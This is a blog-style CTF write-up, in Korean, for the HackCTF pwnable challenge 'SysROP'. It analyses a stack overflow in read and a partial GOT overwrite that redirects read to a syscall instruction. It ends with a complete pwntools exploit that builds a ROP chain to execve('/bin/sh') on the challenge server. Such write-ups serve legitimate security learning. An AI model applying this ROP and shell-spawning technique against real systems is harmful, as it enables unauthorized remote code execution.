Wargame & CTF/HackCTF
[HackCTF / pwnable] SysROP
cg10036
2019. 10. 28. 12:37
Summary
64bit
syscall
Analysis
main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-10h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
read(0, &buf, 0x78uLL);
return 0LL;
}
read로 buf에 입력을 받는다. buf에서 오버플로우가 일어나게 된다.
read 말고는 다른 함수가 없다. 하지만 pop rax ; pop rdx ; pop rdi ; pop rsi ; ret 가젯이 있다.
pop rax ; pop rdx ; pop rdi ; pop rsi ; ret 가젯으로 execve("/bin/sh", 0, 0);을 셋팅하고 syscall하면 쉘이 뜰것이다.
그러면 syscall을 찾아보자.
gdb-peda$ pd read
Dump of assembler code for function read:
0x00007ffff7b04250 <+0>: cmp DWORD PTR [rip+0x2d24e9],0x0 # 0x7ffff7dd6740 <__libc_multiple_threads>
0x00007ffff7b04257 <+7>: jne 0x7ffff7b04269 <read+25>
0x00007ffff7b04259 <+0>: mov eax,0x0
0x00007ffff7b0425e <+5>: syscall
0x00007ffff7b04260 <+7>: cmp rax,0xfffffffffffff001
0x00007ffff7b04266 <+13>: jae 0x7ffff7b04299 <read+73>
0x00007ffff7b04268 <+15>: ret
0x00007ffff7b04269 <+25>: sub rsp,0x8
0x00007ffff7b0426d <+29>: call 0x7ffff7b220d0 <__libc_enable_asynccancel>
0x00007ffff7b04272 <+34>: mov QWORD PTR [rsp],rax
0x00007ffff7b04276 <+38>: mov eax,0x0
0x00007ffff7b0427b <+43>: syscall
0x00007ffff7b0427d <+45>: mov rdi,QWORD PTR [rsp]
0x00007ffff7b04281 <+49>: mov rdx,rax
0x00007ffff7b04284 <+52>: call 0x7ffff7b22130 <__libc_disable_asynccancel>
0x00007ffff7b04289 <+57>: mov rax,rdx
0x00007ffff7b0428c <+60>: add rsp,0x8
0x00007ffff7b04290 <+64>: cmp rax,0xfffffffffffff001
0x00007ffff7b04296 <+70>: jae 0x7ffff7b04299 <read+73>
0x00007ffff7b04298 <+72>: ret
0x00007ffff7b04299 <+73>: mov rcx,QWORD PTR [rip+0x2ccbd8] # 0x7ffff7dd0e78
0x00007ffff7b042a0 <+80>: neg eax
0x00007ffff7b042a2 <+82>: mov DWORD PTR fs:[rcx],eax
0x00007ffff7b042a5 <+85>: or rax,0xffffffffffffffff
0x00007ffff7b042a9 <+89>: ret
End of assembler dump.
read+5에 syscall이 있다. read_got의 맨 뒤 1바이트 값을 \x5e로 덮어주면 syscall을 할수있다.
Exploit
from pwn import *
e = ELF("./sysrop")
#p = process("./sysrop")
p = remote("ctf.j0n9hyun.xyz", 3024)
binsh = "/bin/sh\x00"
main = 0x4005F2
data = 0x601030
ppppr = 0x00000000004005ea # pop rax ; pop rdx ; pop rdi ; pop rsi ; ret
pppr = 0x00000000004005eb # pop rdx ; pop rdi ; pop rsi ; ret
payload = ""
payload += "A"*(0x10+0x8)
payload += p64(pppr)
payload += p64(len(binsh))
payload += p64(0x0)
payload += p64(data)
payload += p64(e.plt["read"])
payload += p64(main)
p.send(payload)
sleep(0.1)
p.send(binsh)
sleep(0.1)
payload = ""
payload += "A"*(0x10+0x8)
payload += p64(pppr)
payload += p64(0x1)
payload += p64(0x0)
payload += p64(e.got["read"])
payload += p64(e.plt["read"])
payload += p64(ppppr)
payload += p64(59)
payload += p64(0)
payload += p64(data)
payload += p64(0)
payload += p64(e.plt["read"])
p.send(payload)
sleep(0.1)
p.send("\x5e")
sleep(0.1)
p.interactive()